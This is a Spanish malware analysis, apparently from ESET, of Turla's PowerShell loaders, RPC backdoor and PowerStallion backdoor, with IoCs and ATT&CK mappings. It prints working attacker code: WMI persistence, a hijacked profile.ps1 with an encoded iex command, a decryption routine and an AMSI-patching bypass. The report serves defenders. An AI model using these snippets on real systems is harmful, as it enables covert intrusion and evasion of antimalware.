Turla, también conocido como Snake, es un grupo dedicado al espionaje reconocido por la complejidad de su malware. Para generar confusión, sus operadores recientemente comenzaron a utilizar scripts en PowerShell que ofrecen la posibilidad de cargar y ejecutar, en memoria, ejecutables maliciosos y librerías. Esto les permite evadir la detección que podría activarse cuando un ejecutable malicioso es droppeado en el disco.
Se cree que Turla ha estado operando desde al menos 2008, cuando satisfactoriamente logró infiltrarse en equipos de las Fuerzas Armadas de los Estados Unidos. Más recientemente, estuvo involucrado en grandes ataques contra las oficinas del Ministerio de Asuntos Exteriores de Alemania y el ejército francés.
Esta no es la primera vez que Turla utiliza loaders en PowerShell en memoria para incrementar sus chances de evadir productos de seguridad. En 2018, Kaspersky publicó un reporte en el que analizó un loader en PowerShell de Turla que estaba basado en el proyecto de código abierto Posh-SecMod. Sin embargo, presentaba algunos problemas y muchas veces terminaba congelándose.
Luego de unos meses, Turla mejoró estos scripts y ahora los está utilizando para cargar un amplio rango de malware personalizado de su tradicional arsenal.
El tipo de víctimas es un blanco común para Turla. Hemos identificado varias entidades diplomáticas en Europa del Este que fueron comprometidas utilizando este script. Sin embargo, es probable que los mismos scripts estén siendo utilizados de manera global contra muchos blancos de ataque tradicionales de Turla en Europa Occidental y el Medio Oriente. Así, este artículo busca ayudar a los equipos de seguridad a contrarrestar estos scripts en PowerShell. También presentaremos varios payloads, incluyendo un backdoor basado en RCP y un backdoor que implementa el uso de OneDrive como su servidor de Comando y Control.
Loader de PowerShell
El loader de PowerShell consta de tres principales pasos: persistencia, descifrado y carga en memoria del ejecutable embebido o la librería.
Persistencia
Los scripts de PowerShell no son simples droppers, sino que persisten en el sistema, ya que solo se cargan en memoria de forma regular los ejecutables embebidos. Hemos visto a los operadores de Turla utilizar dos métodos de persistencia:
- A través de un evento de suscripción a Windows Management Instrumentation (WMI)
- Alteración del perfil de PowerShell (archivo profile.ps1).
Windows Management Instrumentation
En el primer caso, los atacantes crean dos filtros de eventos WMI y dos eventos consumer WMI. Los consumers son simplemente líneas de comando que lanzan comandos PowerShell codificados en base64 que cargan un amplio script PowerShell almacenado en el registro de Windows. La Figura 1 muestra cómo se establece la persistencia.
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Syslog Consumer'" | Remove-WmiObject;
$NLP35gh = Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments @{name='Syslog Consumer';CommandLineTemplate="$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -enc $HL39fjh";RunInteractively='false'};
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Log Adapter Filter'"| Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object {$_.filter -match 'Log Adapter'} | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=15 AND TargetInstance.Minute=30 AND TargetInstance.Second=40";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{name='Log Adapter Filter';EventNameSpace='root\CimV2';QueryLanguage='WQL';Query=$IT825cd};
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$VQI79dcf;Consumer=$NLP35gh};
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='AD Bridge Filter'"| Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object {$_.filter -match 'AD Bridge'} | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 400";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{name='AD Bridge Filter';EventNameSpace='root\CimV2';QueryLanguage='WQL';Query=$IT825cd};
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$VQI79dcf;Consumer=$NLP35gh};
Figura 1 – Persistencia mediante el uso de WMI
Estos eventos se ejecutarán respectivamente a las 15:30:40 y cuando el tiempo de actividad del sistema esté entre los 300 y 400 segundos. La variable $HL39fjh contiene el comando PowerShell codificado en base64 que se puede apreciar en la Figura 2. Lee la llave del Registro de Windows donde es almacenado el payload cifrado y contiene la contraseña y el salto necesario para descifrar el payload.
[System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("<base64-encoded password and salt">)) | iex ;[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((Get-ItemProperty '$ZM172da').'$WY79ad')) | iex
Figura 2. Comando PowerShell consumer WMI
Finalmente, el script almacena en payload cifrado en el registro de Windows. Nótese que los atacantes parecen utilizar una ubicación del registro diferente para cada organización. Igualmente, no resulta un indicador útil para detectar intrusiones similares.
Profile.ps1
En este último caso, los atacantes alteran el perfil de PowerShell. De acuerdo a la documentación de Microsoft:
Un perfil de PowerShell es un script que se ejecuta cuando se inicia PowerShell. Puedes utilizar el perfil como un script de inicio de sesión para personalizar el entorno. Puedes agregar comandos, alias, funciones, variables, complementos, módulos y unidades PowerShell.
La Figura 3 muestra un perfil de PowerShell modificado por Turla.
try
{
$SystemProc = (Get-WmiObject 'Win32_Process' | ?{$_.ProcessId -eq $PID} | % {Invoke-WmiMethod -InputObject $_ -Name 'GetOwner'} | ?{(Get-WmiObject -Class Win32_Account -Filter "name='$($_.User)'").SID -eq "S-1-5-18"})
if ("$SystemProc" -ne "")
{
$([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): STARTED </m>") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append;
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("IABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBKAEYAZABJAFIAegBRADQATQBXAFIAawBJAEQAMABuAFEAMQBsAEQAVgBEAE0ANQBNAHoAUQB3AFoAbQBaAG8ASgB6AHMAZwBKAEUAWgBaAE4AVABKAGoAWgBUADAAbgBUAGsATgBEAFUAagBrADUATgB6AEIAbwBaAG0AaABqAEoAegBzAGcASQBBAD0APQAiACkAKQAgAHwAIABpAGUAeAAgADsAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAQQBjAHQAaQB2AGUAWAAgAEMAbwBtAHAAYQB0AGkAYgBpAGwAaQB0AHkAXAB7ADIAMgA2AGUAZAA1ADMAMwAtAGYAMQBiADAALQA0ADgAMQBkAC0AYQBkADIANgAtADAAYQBlADcAOABiAGMAZQA4ADEAZAA3AH0AJwApAC4AJwAoAEQAZQBmAGEAdQBsAHQAKQAnACkAKQAgAHwAIABpAGUAeAA=")) | iex | Out-Null;
kill $PID;
}
}
catch{$([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): $_ </m>") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append}
Figura 3. Archivo profile.ps1 secuestrado
El comando PowerShell cifrado en base64 es muy similar al utilizado en los WMI consumers.
Descifrado
El payload almacenado en el registro de Windows es otro script de PowerShell. Es generado utilizando el script de código abierto Out-EncryptedScript.ps1 de la plataforma de pruebas de penetración PowerSploit. Adicionalmente, los nombres de las variables son aleatorias para ofuscar el script, cómo se puede apreciar en la Figura 4.
$GSP540cd = "<base64 encoded + encrypted payload>";
$RS99ggf = $XZ228hha.GetBytes("PINGQXOMQFTZGDZX");
$STD33abh = [Convert]::FromBase64String($GSP540cd);
$SB49gje = New-Object System.Security.Cryptography.PasswordDeriveBytes($IY51aab, $XZ228hha.GetBytes($CBI61aeb), "SHA1", 2);
[Byte[]]$XYW18ja = $SB49gje.GetBytes(16);
$EN594ca = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;
$EN594ca.Mode = [System.Security.Cryptography.CipherMode]::CBC;
[Byte[]]$ID796ea = New-Object Byte[]($STD33abh.Length);
$ZQD772bf = $EN594ca.CreateDecryptor($XYW18ja, $RS99ggf);
$DCR12ffg = New-Object System.IO.MemoryStream($STD33abh, $True);
$WG731ff = New-Object System.Security.Cryptography.CryptoStream($DCR12ffg, $ZQD772bf, [System.Security.Cryptography.CryptoStreamMode]::Read);
$XBD387bb = $WG731ff.Read($ID796ea, 0, $ID796ea.Length);
$OQ09hd = [YR300hf]::IWM01jdg($ID796ea);
$DCR12ffg.Close();
$WG731ff.Close();
$EN594ca.Clear();
return $XZ228hha.GetString($OQ09hd,0,$OQ09hd.Length);
Figura 4. Rutina de descifrado
El payload es descifrado utilizando el algoritmo de 3DES. El vector de inicialización, en este ejemplo PINGQXOMQFTZGDZX, es diferente para cada muestra. La llave y el salto también son diferentes para cada script y no son almacenados en el script, salvo en el filtro WMI o en el archivo profile.ps1.
Loader PE
El payload descifrado en la etapa previa es un loader PowerShell reflectivo. Está basado en el script Invoke-ReflectivePEInjection.ps1 del mismo framework PowerSploit. El ejecutable está hardcodeado en el script y es cargado directamente en la memoria de un proceso que esté corriendo en el sistema elegido de forma aleatoria.
En algunas muestras, los atacantes especifican una lista de ejecutables en los que el binario no debería ser inyectado, como se puede apreciar en la Figura 5.
$IgnoreNames = @("smss.exe","csrss.exe","wininit.exe","winlogon.exe","lsass.exe","lsm.exe","svchost.exe","avp.exe","avpsus.exe","klnagent.exe","vapm.exe","spoolsv.exe");
Figura 5. Ejemplo de lista de procesos excluidos
Es interesante notar que los nombres avp.exe, avpsus.exe, klnagent.exe y vapm.exe refieren a ejecutables de Kaspersky Labs.
Bypass AMSI
En algunas muestras lanzadas a partir de marzo de 2019, los desarrolladores de Turla modificaron sus scripts de PowerShell con el objetivo de evadir la Interfaz de escaneo Antimalware (AMSI). Esta es una interfaz que permite que cualquier aplicación de Windows se integre con el producto antimalware instalado. Es particularmente útil para PowerShell y macros.
No encontraron un nuevo mecanismo evasor pero reutilizaron una técnica presentada en Black Hat Asia 2018 en la charla The Rise and Fall of AMSI. Consiste en el parche en memoria del inicio de la función AmsiScanBuffer en la librería amsi.dll.
El script PowerShell carga un ejecutable .NET para recuperar la dirección de AmsiScanBuffer. Luego, llama VirtualProtect para permitir escribir en la dirección recuperada.
Finalmente, el parcheado es realizado directamente en el script de PowerShell, tal como se aprecia en la Figura 6. Modifica el principio de AmsiScanBuffer para siempre retornar a 1 (AMSI_RESULT_NOT_DETECTED). Así, el producto antimalware no recibirá el buffer, el cual previene cualquier escaneo.
$ptr = [Win32]::FindAmsiFun();
if($ptr -eq 0)
{
Write-Host "protection not found"
}
else
{
if([IntPtr]::size -eq 4)
{
Write-Host "x32 protection detected"
$buf = New-Object Byte[] 7
$buf[0] = 0x66; $buf[1] = 0xb8; $buf[2] = 0x01; $buf[3] = 0x00; $buf[4] = 0xc2; $buf[5] = 0x18; $buf[6] = 0x00; #mov ax, 1 ;ret 0x18;
$c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 7)
}
else
{
Write-Host "x64 protection detected"
$buf = New-Object Byte[] 6
$buf[0] = 0xb8; $buf[1] = 0x01; $buf[2] = 0x00; $buf[3] = 0x00; $buf[4] = 0x00; $buf[5] = 0xc3; #mov eax, 1 ;ret;
$c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 6)
}
}
Figura 6. Parcheado de la función AmsiScanBuffer
Payloads
El script de PowerShell que hemos presentado son componentes genéricos utilizados para cargar varios payloads, tales como un backdoor RCP y un backdoor PowrShell.
Backdoor RPC
Turla ha desarrollado todo un conjunto de backdoors que se apoyan en el protocolo RCP. Estos backdoors son utilizados para llevar adelante movimientos laterales y tomar el control de otras máquinas de una red local sin necesidad de apoyarse en un servidor C&C externo.
Las funcionalidades implementadas son bastante básicas: subida de archivos, descarga de archivos y comandos de ejecución a través de cmd.exe o PowerShell. Sin embargo, el malware también soporta la posibilidad de agregar plugins.
Este backdoor RCP está dividido en dos componentes: un servidor y un cliente. Un operador utilizará el componente cliente para ejecutar comandos en otra máquina en la que el componente servidor exista, tal como lo resumimos en la Figura 7.
Por ejemplo, la muestra identificada por el siguiente hash SHA-1 EC54EF8D79BF30B63C5249AF7A8A3C652595B923 es una versión cliente. Este componente abre el denominado pipe \\pipe\\atctl con la secuencia de protocolo siendo “ncacn_np” a través de la función RpcStringBindingComposeW. La muestra podrá luego enviar comandos con solo llamar a la función NdrClientCall2. El procedimiento exportado HandlerW, responsable de parsear los argumentos, muestra que también es posible intentar hacerse pasar por token anónimo o intentar robar otros token de proceso tan solo para la ejecución de un comando.
Su contraparte del servidor realiza la tarea pesada e implementa los diferentes comandos. Primero revisa si el valor de la llave de registro HKLM\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters\NullSessionPipes contiene “atctl”. En caso de que sí contenga, el servidor configura el descriptor de seguridad en el objeto pipe hacia "S:(ML;;NW;;;S-1-16-0)" a través de la función SetSecurityInfo. Esto hará que el pipe esté disponible para cualquiera (nivel de integridad no confiable/anónima).
La siguiente imagen muestra la correspondiente MIDL stub descriptor y la misma sintaxis similar e interfaz ID.
Como mencionamos anteriormente, este backdoor también soporta la carga de plugins. El servidor crea un hilo que busca archivos que coincidan con el siguiente patrón lPH*.dll. Si tal archivo existe, es cargado y su función exportar ModuleStart es llamada. Entre los varios plugins que hemos localizado hasta el momento, uno es capaz de robar archivos recientes y archivos de memorias USB.
Muchas variantes de este backdoor RCP son utilizadas de manera activa. Entre ellas, hemos visto proxies locales (utilizando upnprpc como el endpoint y ncalrpc como la secuencia de protocolo) y versiones nuevas embebiendo PowerShellRunner para ejecutar scripts de manera directa sin utilizar powershell.exe.
Falso servidor RPC
Durante nuestra investigación, también descubrimos un ejecutable portable con la ruta pdb embebida: C:\Users\Devel\source\repos\RPCSpoofer\x64\Release_Win2016_10\RPCSpoofServerInstall.pdb (SHA-1: 9D1C563E5228B2572F5CA14F0EC33CA0DEDA3D57).
El principal propósito de esta utilidad es recuperar la configuración de un proceso RPC que ha registrado una interfaz. Con el fin de encontrar tal clase de proceso, repite a través de la tabla TCP (a través de la función GetTcpTable2)hasta que encuentre el PID del proceso que abrió un puerto específico, o recupera el PID del proceso que abrió uno específico llamado pipe. Una vez que este PID es descubierto, esta utilidad lee la memoria del proceso remoto y trata de recuperar la interfaz RPC registrada. El código para esto, que puede ver en la Figura 9, parece haber sido tomado desde este repositorio de GitHub.
Al principio no estábamos seguros de cómo la información recuperada había sido utilizada, hasta que otra muestra, (SHA-1: B948E25D061039D64115CFDE74D2FF4372E83765) nos ayudó a comprender. Como vimos en la Figura 10, esta muestra recupera la interfaz RPC, reestablece la bandera a RPC_IF_ALLOW_SECURE_ONLY, y parchea la “dispatch table” en memoria utilizando la función WriteProcessMemory. Estas operaciones permitirán a la muestra añadir sus funciones RPC a una ya existente interfaz RPC. Creemos que es más cauteloso reutilizar una interfaz RPC existente que crear una personalizada.
PowerStallion
PowerStallion es un backdoor en PowerShell de liviano peso que utiliza como servidor C&C a Microsoft OneDrive; un servicio de almacenamiento en la nube. Las credenciales están hardcodeadas al inicio del script, tal como se puede observar en la Figura 11.
Es interesante notar que los operadores de Turla utilizaron nuevamente el proveedor de correo gratuito GMX, al igual que lo hicieron para el Backdoor de Outlook y en LightNeuron. También utilizaron para la dirección de correo el nombre de un empleado real perteneciente a una organización que fue blanco de ataque.
Luego utiliza el comando net use para conectar con la unidad de la red. Luego verifica, en un loop, como se puede apreciar en la Figura 12, si un comando está disponible. Este backdoor solo puede ejecutar scripts PowerShell adicionales. Escribe los resultados del comando en otra subcarpeta en OneDrive y los cifra con la llave XOR 0xAA.
Otro artefacto interesante es que el script altera la modificación, acceso y tiempos (MAC) de creación del archivo log local para coincidir con los tiempos de un archivo legítimo – en este ejemplo desktop.ini, como se puede apreciar en la Figura 13.
Creemos que este backdoor es una herramienta para recuperar acceso en caso de que los principales backdoors de Turla, tales como Carbon o Gazer, sean limpiados y que los operadores no puedan acceder a las computadoras comprometidas:
- Monitoreando logs antimalware
- Monitoreando la lista de procesos de Windows
- Instalando versión 4 de ComRAT, uno de los backdoors de segunda fase de Turla
Conclusión
En un artículo publicado en 2018 predijimos que Turla usaría herramientas más y más genéricas. Esta nueva investigación confirma nuestro pronóstico y muestra que el grupo Turla no duda en utilizar frameworks de pentesting y código abierto para llevar adelante las instrusiones.
Sin embargo, esto no impide que se atribuyan tales ataques a Turla. Los atacantes tienden a configurar o modificar estas herramientas de código abierto de la manera que mejor se adapte a sus necesidades. Así, es posible separar en diferentes categorías las actividades.
Finalmente, el uso de herramientas de código abierto no significa que Turla dejó de utilizar sus herramientas personalizadas. Los payloads entregados por el script de PowerShell, el backdoor RCP y PowerStallion, están bastante personalizados. Nuestro reciente análisis de LightNeuron de Turla es una prueba más de que este grupo aún sigue desarrollando malware complejo y personalizado.
Continuaremos monitoreando las nuevas actividades de Turla y seguiremos publicando los hallazgos. Por cualquier consulta, contáctenos a través de threatintel@eset.com. Los Indicadores de Compromiso también pueden encontrarse en GitHub.
Indicadores de Compromiso (IoCs)
Hashes
SHA-1 hash | Description | ESET detection name |
---|---|---|
50C0BF9479EFC93FA9CF1AA99BDCA923273B71A1 | PowerShell loader with encrypted payload | PowerShell/Turla.T |
EC54EF8D79BF30B63C5249AF7A8A3C652595B923 | RPC backdoor (client) | Win64/Turla.BQ |
9CDF6D5878FC3AECF10761FD72371A2877F270D0 | RPC backdoor (server) | Win64/Turla.BQ |
D3DF3F32716042404798E3E9D691ACED2F78BDD5 | File exfiltration RPC plugin | Win32/Turla.BZ |
9D1C563E5228B2572F5CA14F0EC33CA0DEDA3D57 | RPCSpoofServerInstaller | Win64/Turla.BS |
B948E25D061039D64115CFDE74D2FF4372E83765 | RPC interface patcher | Win64/Turla.BR |
Nombres de archivos
- RPC components
- %PUBLIC%\iCore.dat (log file, one-byte XOR 0x55)
- \\pipe\\atctl (named pipe)
- PowerStallion
- msctx.ps1
- C:\Users\Public\Documents\desktop.db
Llaves de Registro
- RPC components
- HKLM\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters\NullSessionPipes contains atctl
Técnicas de MITRE ATT&CK
Tactic | ID | Name | Description |
---|---|---|---|
Execution | T1086 | PowerShell | The loaders are written in PowerShell. Some RPC components can execute PowerShell commands. |
Persistence | T1084 | Windows Management Instrumentation Event Subscription | The PowerShell loaders use WMI for persistence. |
Defense Evasion | T1027 | Obfuscated Files or Information | The RPC backdoor and PowerStallion encrypt the log file. |
T1140 | Deobfuscate/Decode Files or Information | The PowerShell loaders decrypt the embedded payload. | |
T1055 | Process Injection | The PowerShell loaders inject the payload into a remote process. | |
T1099 | Timestomp | PowerStallion modifies the timestamps of its log file. | |
Discovery | T1083 | File and Directory Discovery | The RPC plugin gathers file and directory information. |
T1120 | Peripheral Device Discovery | The RPC plugin monitors USB drives. | |
T1012 | Query Registry | The server component of the RPC backdoor queries the registry for NullSessionPipes. | |
T1057 | Process Discovery | PowerStallion sent the list of running processes. | |
Collection | T1005 | Data from Local System | The RPC plugin collects recent files from the local file system. |
T1025 | Data from Removable Media | The RPC plugin collects files from USB drives. | |
Command and Control | T1071 | Standard Application Layer Protocol | The RPC backdoor uses RPC and PowerStallion uses OneDrive via SMB. |
Exfiltration | T1041 | Exfiltration Over Command and Control Channel | PowerStallion exfiltrates information through the C&C channel. |